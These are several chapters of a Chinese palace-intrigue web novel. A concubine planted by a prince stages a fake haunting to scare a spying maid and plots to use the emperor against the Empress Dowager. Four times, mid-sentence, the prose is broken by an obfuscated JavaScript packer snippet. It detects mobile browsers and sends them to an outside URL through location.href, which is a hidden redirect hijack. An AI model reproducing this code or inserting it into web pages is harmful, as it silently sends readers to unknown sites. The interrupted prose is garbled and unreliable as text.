走过路过的奴才用眼神羞辱她,特来看笑话的主子交头诋毁她。饶是流萤再充耳不闻、闭目不见,那些毒火一般的炽热目光还是比日头更滚烫,烧得她脸快跟身后的红墙一样颜色。 她可以想象到若闻寻见了此情此景,得是多么阴森铁青的一张脸。明明他才是皇帝,明明他才是掌控全天下生死的人,到头来,竟还不如那个老婆子一句话好使。 连偏爱谁的资格都没有,这就是王爷想争、闻寻要占的皇位吗? 流萤突然觉得他们很可怜…… 可怜? 对呀! 流萤垂着头,没人能看见阴影里她正欲上翘的唇角,只瞧见她抬手轻掩了下脸颊,似是羞于四面八方的嘲讽。唯她自己知道,这场仗该怎么打了。 熬过忽冷忽热的三个时辰,回银汉宫的一路才更是艰难。 流萤恨不得将整个身体都靠倒在宝珠身上,她真真是一点劲儿都使不上。膝盖以下就跟从别处借来似的,幸好贺九仪一早就被小金子请来候着了。 “针刺足三里、阳陵泉、血海等穴位疏通经络,这是最快缓解疼痛的办法。可能有些疼,还请才人忍着些。” 贺九仪边说边展开针包,要给流萤针灸。宝珠觉得吓人,根根银针又细又长,完全不敢像扎进肉里得是什么感受。忙问有没有别的不那么吓人的法子。 “稍后我再教你几个按摩的手法,每晚就寝前两条腿各捏三十下,也可改善血液循环,减轻疼痛。”贺九仪说罢便开始施针。 流萤也是第一次做针灸,当银针刺进皮肤里的时候,她能感受到很强的压迫感和麻木感,疼倒不疼。整条腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339256|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的经络都好似被打开,分外敏感,也分外通畅。再过一会儿温热感上来,就更有寒气都被泄出的感觉了。 遂愈发觉得贺九仪当真有两把刷子。 待一切处理妥当,小金子也上前帮贺九仪收拾药箱。正当他准备送贺九仪出宫之时,宝珠却得了令接过他手中药箱,称由她来送。 小金子也没多想,便全都交给她,转身回去流萤跟前候着了。不料他才抬脚没几步,就听后头传来宝珠扯嗓子大喊的声音。那声音是他从未听过的蛮横泼辣,着实吓了一跳。 “走走走!赶紧走!下手没轻没重的,也不知道跟谁学的糊弄医术。下次我可要好好到太医署问问,怎么敢派一个半吊子来给我们主子看诊,瞧坏了算谁的?!” 她怎么把贺医正骂了?! 小金子忙跑进去要跟流萤禀告,不料流萤却说,是她授意的。 “主子,奴婢会不会说得太狠了?我瞧贺九仪被吓得下巴都要掉地上了。可他脾气却也是真的好,都这样了愣是没回骂一句,连质问都没有,只是涨红脸快步走了。” 宝珠一路跑回来汇报,速度之快,像是有老虎在后面追她。流萤听了点点头,并没过多解释,只叫他们二人该干嘛干嘛去。 夜里,宝珠放好了热水伺候流萤沐浴,“按贺医正说的,奴婢放了好些姜片,您可得好好祛祛寒。” 说起这个就又想问白日为何要那样对贺九仪,流萤却道过两日便知,休要多嘴。 宝珠只好转头去取流萤脱下来的护膝,小心翼翼放到热茶壶底下压平,似也想把里面的寒气蒸发掉。 “等会儿奴婢再往里絮点棉花,这才跪一天就见薄了呢。”宝珠将茶壶和护膝都抱进怀里,一冷一热的复杂触感让她很是心疼。 从前凝婕妤刚入宫的时候也被皇上独宠了好一阵,却不见太后出面掺和,怎到了自己主子这儿,就如此波折。 “没事儿。贺医正不是给开了药嘛,他医术好,瘸不了。” 看宝珠快要吓哭了,流萤也不再逗她,冲门口的小金子招招手,示意他悄悄进来把门带上。 彩秀死了很久,但直到昨日内侍监才派来新的杂扫宫女春桃。流萤觉得多半是贤妃开始留意她这边的动静了,此刻送来的人自然能避则避。 “之前彩秀吓唬你们的法子还有印象吗?” 被流萤没头没尾地问这么一句,宝珠和小金子俩人显然是都没反应过来,流萤只好耐心解释道,“春桃来得不干净。咱们撵不走她,但能吓住她。只有她安稳不下来,才没心思琢磨害咱们的事儿。” 一口一个咱们,谁还听不出里外疏亲。况且流萤一直待他俩不错,关起宫门时,没少让他们偷懒得闲,连主子份例才有的菜品也叫他们一起尝过。若不出意外,这可能就是他们一辈子的主子了。 “宝珠胆子小,这事儿得你来做。” 流萤冲小金子扬了扬下巴,用眼神委以重任,“只切记一点,必须得是从前彩秀使过、且宫里宫外都有过传闻的法子。” 11. 意外之喜 小金子当即听了进去,垂下眼快速回忆起来。他平日沉默寡言其实只是慢热,并非捂不热。尤其遇上了把奴才也当人对待的主子,自然热得再快一些。 要说彩秀吓唬他们的法子,无非是装神弄鬼,装腔作势。今儿打碎两样东西,说是有鬼撞翻的,明儿学两声猫叫,也说是鬼魂变化的。 小金子原本没把这些当回事儿,他身正不怕影斜,也没想过会有人闲的没事做这种勾当。但自流萤拆穿了彩秀之后,细想想,一切也就都对得上了。 “西殿耳房的北面墙有一小洞,早前彩秀支使过我去堵,可第二日又突然改了口说不碍事放着就行。那间耳房与彩秀的住处相连,我见过两次她夜里进出,现在想来应该是有点儿蹊跷。奴才今晚就再去看看究竟什么情况。” “西殿耳房……对了!”宝珠听了小金子的话,突然灵光乍现。 “奴婢刚来银汉宫的时候就听彩秀说过,从前柔妃娘娘薨逝就是在那里被发现的,据说死状凄惨,浑身上下没一块儿好肉。所以每到月末那两天,也就是柔妃忌日,夜里总是窸窸窣窣动静很大,有时还有比夜猫叫声更凄厉尖锐的声音传出。” “奴婢跟彩秀原是同住一间房,可她看我不顺眼,不愿意跟我住,就私自搬到管事姑姑才能住的房里去了。可也是自那后,一到月末那几晚怪声就层出不断。如今这么一对,竟都是彩秀干的缺德事儿。” 宝珠愤愤然的样子不可能是说假话,可一个荣宠加身的妃子怎会死在过道耳房? 流萤实在想不通,“关于这个柔妃,你们还知道些什么?” 对面二人相视摇头,柔妃去世时他们都还未曾进宫。流萤略有思量,嘱咐二人可以多留意留意柔妃的传闻,但不要主动跟人提起打听。 小金子了然点头,先一步退回到门外,怕在里头待久了引起外院春桃的怀疑。剩下宝珠伺候流萤泡浴。 热腾腾的水裹在身上很舒服,虽不比甘泉殿的天然泉水,依旧能驱散所有的疲累和寒意。 但流萤却只放松了片刻。 “你也不能闲着。”流萤忽然一把抓住正在给她擦身的宝珠的手,水花溅到脸上,也丝毫不改严肃神情。 她定定地对宝珠说,“如今我已身在旋涡,往后要面对的,定然不止那些人吓人的虚招式。今日太后贤妃如何对待我,明日她们的奴才就也敢如何对待你。” 和小金子不同,宝珠这一个月来在流萤耳边叽叽喳喳说的话,比她这辈子听到的加起来都多。 流萤虽不会轻易受谁感动。但温不温暖,有没有善意,她却比谁都清晰。就像久旱的大地,永远第一个感受到风雨欲来之音。 在流萤看来,或许随着闹鬼一事的彻底平息,宝珠已然把自己当成了拯救她于水火的救世主。可她深知未来要走的这条路注定危机四伏,她不想到了最后,反再变成推宝珠上断头台的刽子手。 “跟了我注定平静不了,且我也不能许诺保你安然无虞。但若你现在走出那扇门,等你到了年纪出宫,我定能送你足够后半辈子衣食无忧的银钱,不枉你尽心伺候我一场。” 这条路一定得让宝珠自己选。 流萤只要坚强、且绝不动摇的心。 她摸着宝珠怦怦跳的脉搏,从躁动紊乱,再一点点恢复到清晰平稳,显然是已有了较量。 “没事儿,贺医正医术好,他能治好主子,定也能救活奴婢。若真有什么意外,只要主子肯替奴婢求求他就成了。” 宝珠好似笑得没心没肺,可眼中的坚定骗不了人,和流萤摸到的脉搏如出一辙。 这是不是就叫真心,流萤还不能百分百确定。但她知道待自己离宫那日,一定会再给宝珠一次选择的机会。 “明日随我一起去凤仪宫,你不必看我,只管观察那些驻足的人。凡你认得的,都记下是什么表情。” 同样的话,待到隔日流萤又跟小金子说了一遍,他在宫里待得比宝珠久,认识的人也更多。 流萤要找一个既不冷言嘲讽、又不无奈惋惜,只有平静观察,或者漠然审视的表情。 “若说离远静静看的,奴才记得宋贵妃带着虞婕妤从仁康宫那边儿过来时稍停过几步,然后便往御花园的方向走了。她二人面色虽谈不上冷淡,但确实不见起什么波澜。” 没错,贵妃被太后训诫过,自是不会再理。小金子说的这个虞婕妤应是虞青禾,潜邸的老人,据说性子和顺得很,这二人走到一起倒也合理。 “主子,奴婢也想起一个人,但是……”宝珠有些犹豫,担心说错了反倒添乱,直到得了流萤点头催促,才继续说下去。 “是叶修媛身边的宫女。那日中秋宴,叶修媛隔老远提醒您吃蟹子吃得不对,奴婢自然也顺着声音看了过去。当时她就站在叶修媛身后,梳的单螺髻,很是立整。奴婢早前手艺不精,那阵子正爱研究发型,多看两眼便也连带她的长相都有了印象。” “可那个宫女昨日不是跟着叶修媛过来的,而是领了两个小太监,一人手里捧一盆花,从对面甬道经过。是以奴婢方才没说,就是怕认错了。但她一直侧头往您那边瞄,那眼神比我当初想看明白她发髻是怎么梳的还认真。” 叶修媛确实可疑。 连宝珠都能关注到“隔了老远”这一点,可见必有猫腻。但她那日说的话却字字在关键,就差直接说到流萤心里去…… 忽而电光石火般闪过一个念头,叶修媛并非没脑子挑刺儿,也并非刚好无意插柳,而是心领神会,想帮自己?! “他们抱的什么花?” 见流萤语气突然变急,宝珠也意识到此事的重要,忙闭上眼睛使劲回忆,终于在摇了两遍脑袋之后,笃定脱口道,“是桂花!三盆全是黄色的桂花!” 对上了!就是她! 紧绷在流萤胸中那口气儿终于重重呼了出来,面色也肉眼可见地舒展开。 宝珠二人虽不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339257|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明所以,但都清楚看到一抹难以抑制的喜悦,实实在在爬上了流萤的脸颊,远比之前内侍监来传皇上召她侍寝时兴奋得多。 八月末了,有秋黄月桂了。 王爷早前安插进来的那个人,一定是叶修媛。叶知秋,知秋……呵呵,竟也是个最爱自己的自私鬼吗? 流萤让宝珠二人观察众人的表情,本是想找找潜在盟友。叶知秋完全是个意外收获。 流萤虽只十六岁,但当中有六年在积元寺度过。无论是一众比丘尼,还是往来香客,在各色人堆里混久了,流萤对如何揣摩人心早已有了自己的见地。 这使她更能看得远、看得清,就像当初万里挑一才选中了王爷,这次的助力也必定得精挑细选。 流萤认为没有过多心思的人,看见“一夜宠妃”当众受辱,只会产生嘲笑或同情这两种最基本的心理。而心眼子多的人则会多出一种心理,那就是好奇。 想在后宫里好好生存不是件易事,但这类人除外。他们总能摸索出最适合自己的生存之道,然后在这条道上一点点接近最想要的目标。 是以,任何可能影响到他们计划的风吹草动,都会引起警觉和注意。就比如半路杀出来的流萤。他们一定想知道她在巨大压力下能有什么弹性,到底是昙花一现,还是会变成未来的劲敌? 这种未雨绸缪是本能、是天性,更是成功的必要条件。流萤可不想把时间浪费在傻子身上。 “方才说的这几个人,你们平日听了见了,可以多些留意。是不是坏人不好说,防备着点总没错。” 流萤不打算现在就告诉宝珠和小金子具体的计划,一是怕隔墙有耳,春桃还清醒地在外面待着呢。二是身体里那颗常怀戒备的心,还不允许她现在就跟二人推心置腹。 流萤信奉事上见真章,她等得起、且必须要等。 这就是相信和信任的区别。 同理也适用于贺九仪和汪芷柔。一个细心看诊,细到让流萤觉得之前那块翠玉扳指实在是给少了。一个真心探望,真到愿意不在乎矜贵架子亲自上手给她涂驱寒药膏。 在目击人性好意的那一刻,流萤只想一个问题。他们图的,究竟是不是自己能给得起的? 然而探寻这个问题答案的心思,却在八月的最后一天戛然而止。 一个新人的出现,打破了宫中很多先例。 比如不在遴选时间段仍获封美人位份进宫,比如闻寻都亲到宝华楼看望凝婕妤了,最后仍回了甘泉殿传她侍寝,一传就是三天。 无论哪一个,都远比流萤这些日子掀起的风浪大得多。只因此人是太后钦点进宫的,与流萤这种没有靠山势力的根本不是一个档次。 如今的后宫本就是阮家人的天下,凤位权力都在握,其他人勉强能争的唯有恩宠子嗣。 可这位江美人偏偏生得跟最得宠的凝婕妤几乎一个模子刻出,是以,说她是悬在整个后宫顶上的那把剑都不为过。 12. 芷柔之隐 湛蓝色的天底清澈透明,如同最纯净的蓝宝石,只偶有几缕虚浮的云丝轻飘晃过,和整片的耀眼红墙形成极鲜明对比。 九月初二,确实是个好天气,但对阖宫的嫔妃来说,却都不是个好日子。眼巴巴从早等到晚,也没一人等到传去甘泉殿侍寝的旨意。 猜数侍寝终成夏末泡影,没有任何明令,只太后一句“胡闹”,便在一夜间消失得无影无踪,就像这个游戏从未出现过一般,连皇上本尊都决口不再提。 当然,早在三日前大家等不到内侍监来收数字锦袋的时候,就已经有人猜到了。只是猜到真正见做到还是有很大区别的。 虽说从前也没见谁从这个游戏里捞到好处,但至少每月都有个盼头。如今一切尘埃皆落定,难免让人觉得心里空落。 而且凭谁也都能看得出来,任由皇上“胡闹”这么久才出面制止,太后想给江绮玉独宠的心意简直不要太明显。 但也多亏了这一遭,紧盯流萤的目光才得以减少,再借由那个自己送上门的春桃,倒正正给了流萤出宫的好机会。 她是应承了贤妃不出去乱跑、不见闻寻,可也不代表她就永远不出门、永远不跟旁人来往啊。 在静养膝盖的这些时日里,汪芷柔几乎是天天都去银汉宫探望,搞得满宫皆认定了她俩交好。是以流萤若想出去正常与人社交,最先来的必然得是庆祥宫,不然凭谁都得喊她一句白眼狼。 “你这屋里归置得也太素净了些,竟一点花花绿绿的摆件儿都没有。”流萤挑帘走进汪芷柔所居的静兰轩,入眼景象竟跟她设想的天差地别。 通常心思越单纯的,喜欢的小玩意儿越多,这可一点不像汪芷柔的屋子。不禁怀疑她展露在外的天真是不是也为假象。 流萤快速环视一圈,才坐定桌边圆凳。拎起桌上的茶壶,并不见外地给他们俩各自倒了一杯,摆出有好些话要跟汪芷柔说的架势。 若换作从前,汪芷柔必定喜笑颜开附和上来,但此时却是吊着眉毛、紧着眸子,一错不错地跟随流萤目光到过的地方。 边看还边用双手捏住茶杯,紧贴发白的指尖都快和白瓷杯混为一体,不是一般的紧张。 “你也知我笨手笨脚的,摆那么多东西,万一磕了碎了,怪心疼的。”汪芷柔说话很是轻飘。 像偷吃灶台上米糕的孩子,待大人回家发现米糕数不对,才心虚反说是大人记错了。 流萤回忆起方才在庆祥宫门口迎接自己时,汪芷柔还是一如往常的笑模样,怎进了屋变化就这么大。难道自己随口说的竟歪打正着?她真的是怕被发现有所隐瞒,才这般不安吗? 那她到底隐瞒了什么? 流萤兀自品了口茶,还是决定先将此番来的目的完成,再探究竟。旋即美眸一转,装作若无其事继续往汪芷柔身边凑,“这话倒不假。不瞒你说……” 为了能更好掌握对话节奏,流萤第一次主动拉起了汪芷柔的手。刚想说昨日自己宫里发生的怪事儿,突然觉得手感不对,捏了捏再低头一看。 “诶,你不是一直戴的玉镯吗?怎换了这对银的。” 那是刚入宫时贤妃赏给汪芷柔的翠玉镯,她很喜欢,成天都要戴着的。 可话一说出口,流萤就后悔了。怪自己这话多余,万不要让汪芷柔打开话匣子,把话题扯远了才好。 不料她的担心才是多余。汪芷柔听了只是蓦地收回手捂住,许也是知道自己藏不住眼中的慌乱,就一个劲儿地往旁边瞟,含糊说道,“昨晚睡觉睡糊涂了,一翻身磕床沿儿上磕碎了。” 翻一侧身、能把两只手的手镯都磕碎了? 而且还一句懊悔心疼的话都没有? 流萤细瞥了眼那对成色只能算一般的银镯子,心中疑团更大。犹豫一二,但是先顺着汪芷柔意思安慰两句,把话题再次引了回来。 “你也知我的腿并未大好,其实不该走怎么远到你这儿来的,实在是我那宫里没法子待啊。”流萤作势揉着膝盖,面露难过。 汪芷柔素来心里有她,见她这般,便也匆匆从镯子上收回心思,询问出了何事。 “咱们刚进宫那会儿,我原还以为自己何其幸运,独得了一处宫殿。但……想必银汉宫闹鬼你也是听说过的吧?岂料住进去才知,那些传闻竟都不是空穴来风。” “夜里隔三岔五就有女人的哭声传出,可宫里一共就我跟宝珠两个女人,她还夜夜在我房中当值,真不知那声音是从哪儿来的。昨儿又有,瘆得人根本睡不安生,我索性就拉着宝珠挨个屋子找,一路找到西偏殿,你猜竟让我看着了什么?” 若不做妃子了,流萤出去定能做个说书先生。 深锁的眉、锐利的眼,绷紧的嘴角一张一合,真就勾着人往故事里带,给汪芷柔听得一愣一愣,不停催促问然后呢? “屋里的柜子架子全倒在地上,上头原本摆着的瓷器玉器更是碎了满地。幸而我刚推开门就一阵妖风刮来,吹得睁不开眼,自然也迈不动步,不然定要一脚踩进碎渣渣里。” “等好不容易能看清东西了,竟瞧见北边儿窗户突然闪过一个白影!宝珠也看见了,当即就大喊什么人?岂料那白影竟真像什么鬼邪似的,嗖地一下就穿墙而走了!” 仿佛怕汪芷柔领悟不到当时的险境,流萤说到关键处,还唰地横出一根手指直冲到她面前,吓得站在身后也凑耳朵听故事的桂儿直接妈呀一声叫了出来。 宝珠赶忙过去安慰,暗道自家主子讲故事也太厉害了吧。她明明就在现场呢,却还跟头一次听似的。 “紧接着就是隔壁耳房不断传出凄厉叫声,那声音比以往的更尖锐、更凄惨,可却也更清晰。我仔细听了好几遍,才认出竟是新来的宫女喊的。她见了我们就跟见到亲娘似的,立刻冲过来往我怀里扑,真不敢想那道白影是不是钻进她房里去了才吓成这样。” 流萤讲的确有夸张成分,但整体还是不错的。 早前让小金子找彩秀留下的陷阱,意外发现了耳房北面的小洞不仅比原先大上了不少,竟还能与宫外相通。虽然只有手腕大的洞口、还紧贴着墙根,很难让人发现。但若趴在地上,还是能往外边看得清楚。 而在洞口附近,除了用来遮挡的杂草垛,小金子还发现了一块儿很小很小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339258|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的碎瓷片。洗净了灰仔细研究,觉得上头模糊的纹样跟熠光殿暖阁里的一个象牙白瓷炉很像。 据宝珠回忆,这个白瓷炉原本还有两个配套的小手炉,但她去年冬天想拿出来擦擦偏说什么也找不到了。现下看来,应该就是被彩秀不小心打碎了,又怕被人发现便先藏到那里,过后趁没人注意再收拾时漏下的吧。 小金子也说有怪声儿的夜里,常常伴着当啷当啷、东西磨地的声音。于是三人便想到了用这个法子吓唬春桃。 那道白影自然是小金子假扮的。他先到西偏殿打碎些瓷器,再迅速跳窗翻到紧连着的春桃屋子外,猛砸春桃的窗子。 张牙舞爪的影子清晰映在窗子上,再大胆的人也得吓个半死,更何况这里本就闹鬼传闻满天飞。 “是啊,那小宫女定吓坏了。我记得你宫里原先那个就是撞上了什么掉池子里溺死了,可真是吓人啊。要不下次你再见了皇上,求他给你换个住处吧,或是来我……” 汪芷柔是想说来庆祥宫跟她作伴吗?可怎地说一半又不说了?她应该是愿意和自己多多待在一块儿的才对啊? 流萤悄悄观察着汪芷柔越垂越深的眼睛,想读懂她极力隐藏的东西,却意外瞧出几分……苦涩? 难道这庆祥宫也不是好住处吗? 流萤抬眼扫视周遭朴素简陋的装饰环境,暗想汪芷柔不会是觉得这里比不上银汉宫华丽、觉得自己会嫌弃吧? “我还哪敢求皇上呀。昨儿天阴,我这膝盖就跟着麻酥酥地疼了一天。若再惹恼他们一回,怕是要连床都下不了呢。”她自嘲说笑,想调动调动汪芷柔的情绪。 人们偏爱在最舒服、或是最绝望的时候吐露心声。可不知汪芷柔是真不听懂、还是仍在装傻,就全部注意力都在轻抚流萤的膝盖,完全把自己的事情抛在了脑后。 流萤默默看着她,膝盖上传来的温热促使流萤决定再给她一次机会。于是轻柔覆上汪芷柔的手,关切问道。 “芷柔,你可是怕翠玉镯碎了、贤妃会因此责怪你而心里难安?今日的你特别反常,是让人一眼便能看出来的反常。” 虽说流萤的疑心是从屋里的装饰而起,但冒然说这个显然不合适,万一汪芷柔就喜欢这个风格呢?所以流萤唯有拿镯子当引头,才好问出深埋在底下的故事。 “没有……我……”汪芷柔攥着袖口左右为难,几次眼见话马上到嘴边了又硬生生咽回去。极度拧巴的样子将她内心的纠结展现得一览无遗。 流萤虽也看得着急,却偏偏不好催促。她知道自己主动说的话跟别人逼迫说的,还是有很大区别的。 屋里渐渐陷入死一样的沉寂,除了汪芷柔一遍接一遍的啧叹声,再无其他。 至少七八遍后,她终于鼓足勇气抬眼,似是想通,伸双手握住流萤,声音抖得像个筛子。“之遥,其实那对翠玉镯……” 突然,木门砰地一声被推开,汪芷柔的话也猝然被打断。 谁敢叫她煮熟的鸭子飞了? 流萤再没有比此刻更想刀人的冲动,恶狠狠朝被推开的那扇门望去,想看看究竟是哪个坏事。 13. 明修栈道 “见过贺才人。”竟是关采曼身边的大宫女香梅来传话。 “关充媛刚从贤妃娘娘处回来,听说您过来了便让奴婢传句话:腿疾最爱复发,您还是早些回去躺着的好。太后娘娘仁慈,但也不是次次都仁慈。” 流萤强压着收回眼中的狠意,冷冷回一句知道了。 按着宫规,嫔妃若想去另一宫串门,无论找谁,都得先拜见请示过这一宫的主位娘娘,方得通行。流萤正是知道这一点,才特意挑了关采曼不在的时候来。 昨日初一,是嫔妃们到贤妃宫中会面的日子。流萤有伤自是没去,但汪芷柔去了,回来还跟她讲了贤妃要今日晌午设午宴款待江美人的事。是以流萤猜测,欲巴结阮家人的关采曼一定也会舔着脸去。 上次她在太后宫门前罚跪,遇到关采曼跟贤妃,草草几句话就听明白了二人的关系。 关采曼牙尖、愚蠢,最适合做贤妃手里的刀。 可刀只有被人握在手里的时候才有杀伤力,单放在桌上,就只有空等生锈的份儿。 汪芷柔听出流萤语气不善,小动作扯她袖子,示意不能太放肆。但香梅紧接着又开口说的话,倒让她自顾不暇。 “还有汪才人,娘娘说今日乏了,小厨房正给炖着燕窝,您有空在这儿磨牙,还不如帮去看着点火。也不知怎么学的规矩,连伺候主位娘娘这点小事儿还得等人提醒。” 香梅跟她的主子一个样,牛哄哄的鼻孔要朝到天上去,临出门还不忘回头再催促一遍,“贺才人还不走吗?难道还要叫娘娘亲自来与您说?” 真是狗仗人势、猫靠墙。一个二品偏末的修媛身边的婢子都敢跟自己吆五喝六,流萤暗道,才人这个位份实在是太低了。 回去路上,流萤心中有怨结,行的路也是七拐八拐的。待行至略高处,才离远看到了一顶明黄黄的华盖在枝头下滑过。全天下只有一人能用这种正黄颜。 竟是闻寻的仪仗在附近。 流萤快速思量一番,还是决计不在此时惹风头了。而且此刻心情不爽利,她也没心思跟闻寻周旋,便拉宝珠绕进一旁小道里,想等闻寻走了再出去。 可那顶华盖却好似偏要跟她较劲,只如同被毒辣日头定住一般,说什么也不动了。 闻寻在此处停下做什么? “皇上~您等等嫔妾呀~” 流萤的疑问很快有了应声,但并非闻寻答她,而是一个娇滴滴的女声穿林而出。流萤小心翼翼扒着树枝,只露一双晶亮如炬的眼睛窥视不远处的一切。 说真的,那是一张极为漂亮的脸,流萤甚至觉得再没见过更漂亮的。柳眉长睫,魅眼天成,皎皎的脸蛋儿只有巴掌大小。皮肤更是白净得堪比冬日雪花,映衬着冽红的嘴唇煞是摄人心魄。 恰似漫天雪光里、一枝挂了霜儿的冰雪玫瑰。 可那副矫揉造作的姿态却硬生生把她推到了烈日骄阳下,热浪融化出甜腻拉丝的汁液,蛛网一般缠在花苞上,瞬间失去了所有美感。 “奇怪,不是听说凝婕妤素不爱出宝华楼的吗?今儿怎有心来此闲逛呢。”宝珠小声嘀咕着。 宝珠必然是见过凝婕妤的,一听她这么说,流萤心下即刻了然,遂用更小的声音提醒道,“那应该是江美人,太后刚领进来的那个。” 流萤没见过凝婕妤,但听说是个冰山美人,绝不会有这般造作谄媚的举止。 转念又想,若凝婕妤也长了那张一模一样的脸,绝对是个神形合一的大美人。怪不得闻寻喜欢,要是站在自己面前,也定然愿意多看两眼。 流萤不禁暗自揣度起来,她是否也该多扮此等模样讨闻寻欢心? 自那日被赶到凤仪宫门前罚跪后,流萤便彻头彻尾想明白了一点,那便是若想尽快完成任务离宫去,跟闻寻合作,绝对是最便捷、最有效的办法。 为什么说是合作呢。 其一,流萤看得出太后对闻寻的管制过于刻薄、过于残酷,跟外面宣扬的“母慈子孝”丝毫不沾边。 阮家在前朝后宫都有只手遮天的能力,闻寻背后没有真正母家的支撑,面对多变诡谲的朝堂,他唯有依附于阮家这股势力。 所以,即便闻寻深知这才是真正掣肘他的、一旦用上了就难以摆脱的恶势力,也不得不接受。 但闻寻没有的办法,流萤有。 流萤可以偷偷借助王爷手里的力量,先除掉太后,再留二人鱼死网破。 反正王爷也曾透露过,无论遗诏还能否找到、太后的性命都留不得。 总归他要动手,不如自己先给闻寻提供方便。若闻寻真能将太后一击毙命,这笔功劳,无论流萤向哪一方去邀,都会记到她的头上。 其二,流萤也要为自己的以后做打算。她需要的富贵钱财,最简单、最光明正大便是倚靠皇宫第一人的赏赐。 关采曼可以做贤妃的刀,流萤自然也可以做闻寻的刀。并且敢保证,她这把刀一定更精准、更锋利。 伦理教义束缚闻寻不能做的,她来做。 她不惧背负遗臭万年的骂名,只要能换回自己想要的,在她这儿就皆可当作雁过无痕。而且万事都有“贺之遥”这个名字担着,谁人知她流萤又是哪个。 然“合作”一词,流萤却是无法与闻寻明说的。 她仍是闻寻眼中尚未拔掉的刺,怎可能有什么资格或机会跟他谈条件。再则,焉知他是否是怯懦小人之度,别因一开始结过梁子、就还不等交手先给自己卖了。 所以必须得让闻寻主动来找她开这个口。 流萤不仅要在闻寻与阮家人之间再添一把火,更要让他真真切切看到自己的实力。而能支撑这一切行为、又不惹人怀疑旁的由头,便只有“爱慕争宠”。 于是她望着不远处的二人,慢慢有了思量。 秋日暖阳穿过尚未凋落的树叶,汇成光圈,烤在流萤背上暖洋洋的,可射进闻寻眼里却仍冰冷似箭,恨不得将人整个射穿。 流萤将闻寻面上愈发凝重的愠色,分帧不错刻印进了眼里,更加坚定了要拿江绮玉给他做见礼,聊表诚意。 不再同于从前的举棋不定,此刻的流萤完完全全明确了进宫这条路要怎么走、任务要怎么完成。 不再是王爷猜谜一样的“你只管在宫中好生站稳脚跟,有事本王自会叫人带消息给你”。 也不再是像被人投入河里,只能无措等待、不知何时才会被再次拽起的鱼漂。 从这一刻开始,她才是岸上唯一的垂猎者。 “皇上~那边亭子风景不错,咱们到前处歇歇再走可好?嫔妾这腿……还软着呢。” 流萤顺着江绮玉手指的方向看,不正是自己后方地势再高些的那个亭子吗?便欲拉宝珠先行退走。提裙一刻,却清楚听到那熟悉而冰冷的男声开口吐了一个“滚”字。 江绮玉瞬间煞红了脸,不可置信看着闻寻,怎能叫她在一群奴才跟前丢面子? 可她望着那张冷峻无暇的脸,又难免忆起这几晚的浓情温存。那样俊美的儿郎,怎就只能在床上才受自己摆控呢? 江绮玉的面颊依旧是红得能滴出血,可嘴角却因想着美事儿而难以下压,看得闻寻直恶心,恶狠狠甩了袖就转身离开,仿佛多和她待一刻都会窒息。 “主子,江美人是在撒娇吗?” 不,她是在发、骚。 但这话没法儿说。 流萤只觉得江绮玉若有机会跟经多见广的宋婆子学上一遭,怕是全天下的男人都难逃她的手掌心。 那艳情魅惑的神态简直跟春图册上一个样,真是人各有长,流萤今日也算长见识了。 保不齐太后就是看准她这身段才领进宫的吧?流萤想。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339259|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻寻的子嗣太少了,对比先帝在他这个年纪,早已儿女成群。可宫里如今却只有贤妃四岁的皇长女,和姚美人两岁的皇三子。 皇长女自是阮家人的心头肉,然时隔四年,贤妃终未能再添一子,太后难免着急。虽说皇后未来还有大把机会生下嫡子,但中宫嫡子一日未现世、阮家人便多一日忧虑。 且皇嗣终归是越多越好,只要能攥在太后手里,长大以后择优择良便是了。 流萤想,若当年还有第二个选择,这个皇位必不会落到闻寻身上。他的叛逆肆意,料太后也早就心知肚明。 “小心点儿,别踩到枯叶。”流萤做了一个嘘的手势,示意宝珠悄悄退走。 站得太久,她膝盖有点疼了,想起未时还传了贺九仪来复诊,便不再绕弯回去了。 流萤不免感叹,这两年自己的身体确实比从前娇气了不少。 先是进了王府好吃好喝养着,如今又到宫里“养尊处优”,一天天也没个活动筋骨的机会,这样下去可不行。 